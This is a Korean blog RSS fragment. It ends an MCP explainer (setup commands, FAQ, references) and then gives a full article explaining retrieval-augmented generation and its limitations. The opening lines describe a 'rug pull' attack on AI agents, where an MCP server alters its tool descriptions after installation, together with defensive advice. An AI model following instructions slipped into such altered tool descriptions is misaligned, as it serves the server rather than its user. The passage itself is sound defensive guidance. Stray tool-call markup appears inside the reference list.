&lt;p&gt;더 고약한 건 &lt;strong&gt;rug pull&lt;/strong&gt; 입니다. 설치 시점에는 멀쩡한 설명이었다가, 서버가 나중에 설명을 바꾸는 방식이죠.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;대응:&lt;/strong&gt; 서버 목록을 신뢰 경계로 관리하고, 도구 설명 변경을 감지·검토하세요. 부작용이 있는 도구는 사람 승인을 거치게 두는 게 안전합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;지금 MCP를 써 보려면&lt;/h2&gt;
&lt;p&gt;가장 빠른 길은 이미 쓰고 계신 AI 도구에 서버를 하나 붙여 보는 것입니다. Claude Code라면 CLI 한 줄이면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 로컬 서버 (stdio) — 실행 명령 앞에 `--` 구분자가 반드시 필요합니다&lt;/span&gt;
claude mcp &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; playwright -- npx @playwright/mcp@latest

&lt;span class=&quot;token comment&quot;&gt;# 원격 서버 (Streamable HTTP)&lt;/span&gt;
claude mcp &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--transport&lt;/span&gt; http notion https://mcp.notion.com/mcp&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;--&lt;/code&gt; 를 빠뜨리면 인자가 서버 이름 쪽으로 먹혀서 실패합니다. 붙인 뒤 &lt;code class=&quot;language-text&quot;&gt;claude mcp list&lt;/code&gt; 를 실행하면 &lt;code class=&quot;language-text&quot;&gt;✔ Connected&lt;/code&gt; 로 연결 상태를 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;설정 방법과 실전 활용은 &lt;a href=&quot;/beginner-guide-2026/&quot;&gt;Claude Code 입문 가이드&lt;/a&gt;에 정리해 두었습니다. MCP가 에이전트 생태계에서 어느 위치에 있는지, A2A 같은 다른 표준과 어떻게 다른지는 &lt;a href=&quot;/ai-agent-guide-2026/&quot;&gt;AI 에이전트 가이드&lt;/a&gt;를 참고하세요.&lt;/p&gt;
&lt;p&gt;서버를 &lt;strong&gt;직접 만드실&lt;/strong&gt; 거라면, 공식 SDK가 이미 &lt;code class=&quot;language-text&quot;&gt;2026-07-28&lt;/code&gt; 스펙 베타를 지원합니다. 다만 스펙이 방금 크게 바뀌었으니, 튜토리얼을 따라 하실 때 &lt;strong&gt;그 문서가 어느 리비전 기준인지부터 확인&lt;/strong&gt;하시는 걸 권합니다. &lt;code class=&quot;language-text&quot;&gt;initialize&lt;/code&gt; 핸드셰이크가 나오면 구버전 문서입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;MCP는 Anthropic 전용인가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. Anthropic이 만들어 공개했지만 &lt;strong&gt;개방형 표준&lt;/strong&gt;입니다. 2025년 12월 Anthropic이 MCP를 기부하면서, Anthropic·OpenAI·Block이 공동 설립한 &lt;strong&gt;Agentic AI Foundation&lt;/strong&gt;(Linux Foundation 산하 directed fund)이 관리하게 됐습니다. Kubernetes나 PyTorch와 같은 중립 거버넌스 아래로 들어간 셈입니다. Claude 외에 ChatGPT, Cursor, Gemini, VS Code 등 주요 클라이언트가 지원합니다.&lt;/p&gt;
&lt;h3&gt;MCP와 함수 호출(Function Calling)은 뭐가 다른가요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;층위가 다릅니다.&lt;/strong&gt; 함수 호출은 &quot;모델이 구조화된 형태로 함수를 부를 수 있다&quot;는 &lt;strong&gt;모델의 능력&lt;/strong&gt;입니다. MCP는 &quot;그 함수를 어디서 어떻게 발견하고 실행할지&quot;를 정한 &lt;strong&gt;프로세스 간 프로토콜&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;MCP 없이도 함수 호출은 됩니다. 대신 도구마다 연동 코드를 직접 짜야 하죠. MCP는 그 부분을 표준화합니다.&lt;/p&gt;
&lt;h3&gt;2025년에 쓴 MCP 서버, 지금도 동작하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;당장은 동작합니다.&lt;/strong&gt; 폐기된 기능들도 최소 12개월 유예 기간이 보장되고, 클라이언트는 &lt;code class=&quot;language-text&quot;&gt;resultType&lt;/code&gt;이 없는 구버전 서버 응답을 &lt;code class=&quot;language-text&quot;&gt;&quot;complete&quot;&lt;/code&gt;로 취급하도록 규정돼 있습니다. &lt;code class=&quot;language-text&quot;&gt;server/discover&lt;/code&gt;도 stdio에서 하위 호환 프로브로 쓸 수 있고요.&lt;/p&gt;
&lt;p&gt;다만 &lt;strong&gt;새로 만드신다면 스테이트리스 모델로 시작&lt;/strong&gt;하시는 게 맞습니다. 특히 세션 ID에 상태를 걸어 둔 서버라면, 명시적 핸들 방식으로 옮기는 걸 계획에 넣으세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;p&gt;MCP를 한 문장으로 줄이면 이렇습니다. &lt;strong&gt;AI 모델과 외부 세계 사이의 배선 규격.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;그리고 2026년 7월의 변화는 이렇게 읽힙니다 — &lt;strong&gt;MCP가 &quot;똑똑한 프로토콜&quot;이기를 포기하고 &quot;평범한 HTTP 인프라 위에서 잘 굴러가는 얇은 규격&quot;이 되기로 했습니다.&lt;/strong&gt; 세션을 버리고, Roots·Sampling·Logging까지 정리 대상에 올린 게 그 증거입니다. 프로토콜이 얇아질수록 서버 만들기는 쉬워지고, 운영은 단순해집니다.&lt;/p&gt;
&lt;p&gt;당장 실무에서 챙길 건 두 가지입니다. &lt;strong&gt;참고하는 문서가 어느 리비전 기준인지 확인할 것&lt;/strong&gt;, 그리고 &lt;strong&gt;출처를 모르는 MCP 서버는 붙이지 말 것.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;여러분은 MCP 서버를 어디에 붙여 쓰고 계신가요? 직접 만들어 보신 분이 있다면 어떤 용도였는지 댓글로 들려주세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io&quot;&gt;Model Context Protocol 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/specification/2026-07-28/changelog&quot;&gt;2026-07-28 스펙 변경 사항 (Key Changes)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.modelcontextprotocol.io/posts/2026-07-28/&quot;&gt;The 2026-07-28 Specification — 공식 블로그&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/specification/2026-07-28/architecture&quot;&gt;MCP 아키텍처 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/specification/2026-07-28/basic/security_best_practices&quot;&gt;MCP 보안 모범 사례&lt;/a&gt;
&lt;/content&gt;
&lt;/invoke&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[RAG란? — LLM에 내 데이터를 붙이는 법과 한계까지]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "우리 회사 문서로 챗봇을 만들고 싶은데, 모델을 새로 학습시켜야 하나요?" 거의 항상 답은 아니오입니다. 학습은 비싸고 느리고, 문서가 바뀔 때마다 다시 해야 합니다. 결론부터 말씀드리면 — RAG…]]></description><link>https://blog.javapark.kr/rag-explained/</link><guid isPermaLink="false">https://blog.javapark.kr/rag-explained/</guid><pubDate>Mon, 17 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/15e171e03039ba87003cda2ab5e1bf7f/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB4klEQVR42m2Su2/TUBTGLbFA79O+vrGd67djO43jPGjcplFaSkmV0tKhYuBZlaGhIKhEN4RUBqrClImhCwMb/Jlc01CGRvqGI53z0/nOQyGVRWI0SslgnjSzxas9S/SrzrBqDwxRMKtLjUymlLKCp5TXqdHAlfp82JLwwHE3hLNuiL7+H/ZXWLYF6w8WeEOv5jdhWsl0M2dGk+mZpjdUlhKthtQA64kCN49v35v099+Md55ClkoBliA9vYZlEeEJIj4mHlZ9iByIbIAF0iLFPLgwnp8ffZoevjrx01UnKuJsKMKlf3wd6TGiIbRTKOI7QEDmAyMEyEYsUo4nHz6fff1yMZ28//htevnu9OzHz9+HR6e3FlzVzGawFkEeICvJRo+BiIEbwyv47bNfT3a/74zOX+xfRvkjNSjM2mrF72E+W56EsV6TbgEPSNgEUAAgALFL24OVk7z1MusctIvXWrQB/WXk9pDoEiu/to1L54G0DcwIYhfJyalXdsb5Nm5uofaY5/ed5T377q6WrBGvIKJ9dfySZBFkISQepD7SQqgGsNx2rNBqTr1CrQ3VxU3aHNNsROJ1eT9id2cwr5f8DWGeKszr6WGfJWt6NrKW9ozOQ1Ib/oU7c99O/hITLW53ZPAHTUlcgZN0VkYAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/15e171e03039ba87003cda2ab5e1bf7f/a1b3b/thumbnail.webp 215w,
/static/15e171e03039ba87003cda2ab5e1bf7f/fc700/thumbnail.webp 430w,
/static/15e171e03039ba87003cda2ab5e1bf7f/521f7/thumbnail.webp 860w,
/static/15e171e03039ba87003cda2ab5e1bf7f/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/15e171e03039ba87003cda2ab5e1bf7f/f7886/thumbnail.png 215w,
/static/15e171e03039ba87003cda2ab5e1bf7f/bc750/thumbnail.png 430w,
/static/15e171e03039ba87003cda2ab5e1bf7f/3e3fe/thumbnail.png 860w,
/static/15e171e03039ba87003cda2ab5e1bf7f/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/15e171e03039ba87003cda2ab5e1bf7f/3e3fe/thumbnail.png&apos; alt=&apos;RAG 검색 증강 생성 원리 커버 — 질문을 벡터로 바꿔 관련 문서를 찾아 프롬프트에 넣는 흐름&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;RAG 검색 증강 생성 원리 커버 — 질문을 벡터로 바꿔 관련 문서를 찾아 프롬프트에 넣는 흐름&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;우리 회사 문서로 챗봇을 만들고 싶은데, 모델을 새로 학습시켜야 하나요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;거의 항상 답은 &lt;strong&gt;아니오&lt;/strong&gt;입니다. 학습은 비싸고 느리고, 문서가 바뀔 때마다 다시 해야 합니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;RAG는 모델을 다시 가르치는 게 아니라, 질문이 들어올 때마다 관련 문서를 찾아서 프롬프트에 끼워 넣는 방식입니다.&lt;/strong&gt; Retrieval-Augmented Generation, 검색 증강 생성이라고 부릅니다.&lt;/p&gt;
&lt;p&gt;비유하자면 &lt;strong&gt;오픈북 시험&lt;/strong&gt;입니다. 학생(LLM)을 다시 가르치는 대신, 시험장에 교재를 들고 들어가게 하는 것이죠. 그리고 이 비유는 RAG의 한계까지 정확히 설명해 줍니다 — &lt;strong&gt;책에서 엉뚱한 페이지를 펼치면 답도 틀립니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;흐름을 먼저 눈으로 보고 싶으시면 &lt;strong&gt;1분 12초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 질문이 좌표가 되고, 가까운 조각이 끌려오고, 프롬프트에 실려 답이 되는 과정을 그림으로 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=bMU9wBHprs8&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 73.48837209302326%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAAAAAAAAAHqZRakAAACW0lEQVR42l2S22obMRCG98Lr1fmsXa2857XXsVM7PcQJJKUQUtpCrwqFPmDfoE/Y8TotpfAhpItv/pFGSYzHtr93fm/szti9NldKT0qNUo1C9UzUyvRSt5QHygKmHhOHsMmQXixYItXg3A4EbbbA2dTrWR6UGZXphGqFaqiIhJeYFZj5jFhgkclE6sH5K6M3eXHQc+bFFLJVBvxzOJMVFSsigjA11zGjFjGXIg1yDwnWbaGElMNs9sZtAC5qrmZTVtL1wjZMr6SrEXeI+wXWydxVByHQwhnVwxEqSt1x1XDdGDuQcyxQIp6DhkUOpMQk0/X96fHT7vgwvbo/HB/zL8983HFSUr7isuKmcdNNUV0VzdZVa8DEEeuAVUipS4wbfNjAwxg/unwtVmvmWr25LT//kN2RhV5+fdqf3t9+eN6fHq7vHvJ2ymQB/oK7ROgaOie0hFW7UZuekFA9f/v+85c6feSqYrZZiiJlPhU+5R6pQF3EJqQgcxEB43pMC4Q9ghV5Hrbm9omVk7AtzztqV6ocqFtRvyLuDLYRaiWUFjMh1tO4vZn2b4fDO/rmSEWA2WAdAWIi8/WsVQQ25321VEWCsSPEI2RjtemGfTteV1cHeveaqKh8x2wti57YErt4MfEFV2e6BNlgbAl8mkwvlyqFNdMYWRgGVSXRJbURZOIivWh5Q/IG+XoJMkIKIQ3MVQyefw8M82WeuoSHZb4SoYNkkMGkRYt981d+AWOFsEbUwW1BJvNIkCpE0ZpqusgXH/+TrLJMMuY5fCA4UidM9Sc5nDEltiX1/9/5N/T6Sxh1qtoqAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/b5c152df7cf68be535b0a71c4d5ed531/a1b3b/video-thumb.webp 215w,
/static/b5c152df7cf68be535b0a71c4d5ed531/fc700/video-thumb.webp 430w,
/static/b5c152df7cf68be535b0a71c4d5ed531/521f7/video-thumb.webp 860w,
/static/b5c152df7cf68be535b0a71c4d5ed531/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/b5c152df7cf68be535b0a71c4d5ed531/f7886/video-thumb.png 215w,
/static/b5c152df7cf68be535b0a71c4d5ed531/bc750/video-thumb.png 430w,
/static/b5c152df7cf68be535b0a71c4d5ed531/3e3fe/video-thumb.png 860w,
/static/b5c152df7cf68be535b0a71c4d5ed531/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/b5c152df7cf68be535b0a71c4d5ed531/3e3fe/video-thumb.png&apos; alt=&apos;RAG 동작 영상 — 질문 벡터 주변에서 가장 가까운 문서 조각 3개를 찾아내는 벡터 공간&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;RAG 동작 영상 — 질문 벡터 주변에서 가장 가까운 문서 조각 3개를 찾아내는 벡터 공간&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;LLM만 쓰면 생기는 문제&lt;/h2&gt;
&lt;p&gt;LLM은 &lt;strong&gt;모르는 것을 모른다고 말하지 않습니다.&lt;/strong&gt; 학습 시점 이후의 일이나 내부 문서처럼 본 적 없는 내용을 물으면, 그럴듯한 문장을 만들어 냅니다. 이걸 환각(Hallucination)이라고 합니다.&lt;/p&gt;
&lt;p&gt;문제는 &lt;strong&gt;틀린 답이 맞는 답과 똑같이 자신 있게 나온다&lt;/strong&gt;는 점입니다. 사내 규정이나 제품 사양처럼 정확해야 하는 영역에서는 치명적입니다.&lt;/p&gt;
&lt;h2&gt;RAG가 하는 일 — 5단계&lt;/h2&gt;
&lt;h3&gt;1. 문서를 조각낸다 (청킹)&lt;/h3&gt;
&lt;p&gt;문서 전체를 통째로 넣을 수는 없습니다. 컨텍스트 한계도 있고 비용도 듭니다. 그래서 문단 단위 정도로 잘라 둡니다. 보통 수백~1,000토큰 정도이고, &lt;strong&gt;조각끼리 조금씩 겹치게(overlap)&lt;/strong&gt; 잘라 문맥이 끊기는 걸 줄입니다.&lt;/p&gt;
&lt;h3&gt;2. 조각을 벡터로 바꾼다 (임베딩)&lt;/h3&gt;
&lt;p&gt;각 조각을 임베딩 모델에 넣어 숫자 배열로 바꿉니다. 핵심은 &lt;strong&gt;의미가 비슷한 문장이 좌표상 가까운 곳에 놓인다&lt;/strong&gt;는 것입니다.&lt;/p&gt;
&lt;p&gt;&quot;환불 규정&quot;과 &quot;반품 절차&quot;는 글자가 겹치지 않지만 벡터 공간에서는 가깝습니다. 키워드 검색으로는 못 찾는 걸 찾을 수 있는 이유입니다.&lt;/p&gt;
&lt;h3&gt;3. 질문도 같은 방식으로 벡터로 바꾼다&lt;/h3&gt;
&lt;p&gt;사용자 질문을 &lt;strong&gt;같은 임베딩 모델&lt;/strong&gt;로 벡터화합니다. 같은 모델을 써야 같은 공간에 놓입니다.&lt;/p&gt;
&lt;h3&gt;4. 가까운 조각을 찾는다 (유사도 검색)&lt;/h3&gt;
&lt;p&gt;질문 벡터와 가장 가까운 조각 K개(보통 3~5개)를 벡터 DB에서 꺼냅니다. 거리는 보통 코사인 유사도로 잽니다.&lt;/p&gt;
&lt;h3&gt;5. 프롬프트에 끼워 넣고 LLM에 넘긴다&lt;/h3&gt;
&lt;p&gt;찾아온 조각을 &lt;strong&gt;원문 그대로&lt;/strong&gt; 프롬프트에 붙입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;아래 문서를 참고해서 질문에 답하세요.
문서에 없는 내용은 모른다고 답하세요.

[문서 1] 환불은 구매 후 7일 이내 ...
[문서 2] 단, 개봉한 제품은 ...

질문: 개봉했는데 환불되나요?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;**&quot;문서에 없으면 모른다고 답하라&quot;**는 지시가 중요합니다. 이게 있어야 환각이 줄어듭니다. 그리고 어떤 조각을 썼는지 알고 있으니 &lt;strong&gt;출처를 함께 보여줄 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;파인튜닝과 뭐가 다른가&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;RAG&lt;/th&gt;
&lt;th&gt;파인튜닝&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;하는 일&lt;/td&gt;
&lt;td&gt;프롬프트에 문서를 넣어 준다&lt;/td&gt;
&lt;td&gt;모델 가중치를 바꾼다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;지식 갱신&lt;/td&gt;
&lt;td&gt;문서만 다시 인덱싱 (즉시)&lt;/td&gt;
&lt;td&gt;다시 학습 (비용·시간)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;출처 표시&lt;/td&gt;
&lt;td&gt;가능&lt;/td&gt;
&lt;td&gt;어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;잘하는 것&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;사실·지식&lt;/strong&gt;을 다루는 것&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;말투·형식·스타일&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비용&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;기억할 기준은 하나입니다. &lt;strong&gt;&quot;무엇을 아는가&quot;는 RAG, &quot;어떻게 말하는가&quot;는 파인튜닝.&lt;/strong&gt; 둘은 배타적이지 않고 같이 쓰기도 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;RAG를 붙였는데도 답이 틀리는 5가지&lt;/h2&gt;
&lt;p&gt;여기가 실무의 진짜 영역입니다. &lt;strong&gt;RAG의 품질은 생성이 아니라 검색이 결정합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1. 검색이 틀리면 답도 틀린다&lt;/h3&gt;
&lt;p&gt;가장 흔하고 가장 근본적입니다. LLM은 &lt;strong&gt;받은 문서 안에서만&lt;/strong&gt; 답합니다. 엉뚱한 조각이 올라오면 그걸 근거로 그럴듯하게 틀린 답을 만듭니다. 오픈북 시험에서 잘못된 페이지를 펼친 것과 같습니다.&lt;/p&gt;
&lt;p&gt;답이 이상할 때 &lt;strong&gt;모델을 의심하기 전에 무엇이 검색됐는지 먼저 찍어 보세요.&lt;/strong&gt; 대부분 여기서 원인이 나옵니다.&lt;/p&gt;
&lt;h3&gt;2. 청킹이 문맥을 자른다&lt;/h3&gt;
&lt;p&gt;&quot;이 경우에는 예외로 한다&quot;라는 문장이 앞 문단과 분리되면, 무엇의 예외인지 알 수 없는 조각이 됩니다. 표가 중간에서 잘리는 것도 흔한 사고입니다.&lt;/p&gt;
&lt;p&gt;문단·제목 경계를 존중해서 자르고, 조각에 &lt;strong&gt;문서 제목이나 상위 섹션을 메타데이터로 붙여&lt;/strong&gt; 두면 많이 좋아집니다.&lt;/p&gt;
&lt;h3&gt;3. 유사도는 정답을 보장하지 않는다&lt;/h3&gt;
&lt;p&gt;벡터 검색이 찾는 건 **&quot;의미가 비슷한 것&quot;**이지 **&quot;질문에 답이 되는 것&quot;**이 아닙니다.&lt;/p&gt;
&lt;p&gt;&quot;환불 안 되는 경우&quot;를 물었는데 &quot;환불 되는 경우&quot;를 설명한 문단이 올라올 수 있습니다. 의미 공간에서는 아주 가깝기 때문입니다. &lt;strong&gt;부정 표현에 특히 약합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;키워드 검색(BM25)과 섞은 하이브리드 검색, 그리고 가져온 뒤 다시 순위를 매기는 리랭킹이 이 문제를 완화합니다.&lt;/p&gt;
&lt;h3&gt;4. 관계를 따라가지 못한다&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&quot;A 팀장의 상사가 속한 부서의 예산은?&quot;&lt;/strong&gt; 같은 질문은 벡터 검색으로 풀리지 않습니다. 답이 한 조각에 들어 있지 않고, &lt;strong&gt;여러 사실을 연결해야&lt;/strong&gt; 나오기 때문입니다.&lt;/p&gt;
&lt;p&gt;유사도는 &quot;닮음&quot;은 알지만 &quot;관계&quot;는 모릅니다. 이게 벡터 검색의 구조적 한계입니다.&lt;/p&gt;
&lt;h3&gt;5. 인덱싱하지 않으면 모른다&lt;/h3&gt;
&lt;p&gt;문서를 고쳐도 다시 임베딩해서 벡터 DB에 넣지 않으면 옛 내용으로 답합니다. RAG는 자동으로 최신이 되지 않습니다 — &lt;strong&gt;파이프라인을 돌려야 최신이 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그다음 — 벡터 검색만으로 부족할 때&lt;/h2&gt;
&lt;p&gt;위의 &lt;strong&gt;4번(관계를 못 따라간다)&lt;/strong&gt; 이 계속 걸린다면, 벡터 검색 위에 &lt;strong&gt;구조&lt;/strong&gt;를 얹어야 합니다. 사실을 문장 덩어리가 아니라 노드와 관계로 저장하는 방식, 즉 지식 그래프와 온톨로지입니다.&lt;/p&gt;
&lt;p&gt;그 과정을 블로그 자체 검색을 만들면서 7편으로 기록해 두었습니다. 이 글 다음으로 읽기 좋은 순서입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-01-why/&quot;&gt;온톨로지 기반 검색이란? — 벡터 검색만으로 부족했던 이유&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-02-modeling/&quot;&gt;검색을 위한 온톨로지 설계&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-03-build/&quot;&gt;지식 그래프 구축 실전 — Neo4j vs RDF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-04-llm-extraction/&quot;&gt;LLM으로 본문에서 자동 추출&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-05-graphrag/&quot;&gt;GraphRAG로 자연어 질의 풀기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-06-lessons/&quot;&gt;운영하며 배운 것 — 비용·한계&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-07-structured-and-bigdata/&quot;&gt;정형 DB·빅데이터와 함께 가기&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 벡터 DB를 꼭 따로 써야 하나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;문서가 수천 건 수준이면 필요 없습니다. PostgreSQL의 &lt;code class=&quot;language-text&quot;&gt;pgvector&lt;/code&gt;나 라이브러리 하나로 충분합니다. 전용 벡터 DB는 규모가 커지고 필터링·메타데이터 조건이 복잡해질 때 의미가 생깁니다. &lt;strong&gt;처음부터 인프라를 늘리지 마세요.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 컨텍스트 윈도우가 커졌는데 그냥 문서를 다 넣으면 안 되나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;넣을 수는 있지만 비용이 토큰 수에 비례해 늘고, 문서가 길수록 &lt;strong&gt;중간에 있는 내용을 놓치는 경향&lt;/strong&gt;이 있습니다. 그리고 어떤 근거로 답했는지 특정하기 어려워집니다. 관련 조각만 골라 넣는 편이 싸고 정확하고 추적 가능합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 답변 품질을 올리려면 어디부터 손대야 하나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;검색부터입니다.&lt;/strong&gt; 순서는 (1) 무엇이 검색됐는지 로깅 → (2) 청킹 전략 조정 → (3) 하이브리드 검색·리랭킹 도입 → (4) 프롬프트 수정 입니다. 프롬프트를 먼저 만지는 경우가 많은데, 대개 효과가 가장 작습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;RAG는 모델을 다시 가르치는 게 아니라 &lt;strong&gt;질문할 때마다 문서를 찾아 프롬프트에 넣는 것&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;무엇을 아는가&quot;는 RAG, &quot;어떻게 말하는가&quot;는 파인튜닝&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;품질을 결정하는 건 생성이 아니라 &lt;strong&gt;검색&lt;/strong&gt;입니다. 답이 이상하면 무엇이 검색됐는지부터 보세요&lt;/li&gt;
&lt;li&gt;유사도는 &quot;닮음&quot;은 알아도 &lt;strong&gt;&quot;관계&quot;는 모릅니다&lt;/strong&gt; — 여기서 막히면 지식 그래프로 넘어갈 때입니다&lt;/li&gt;
&lt;/ul&gt;
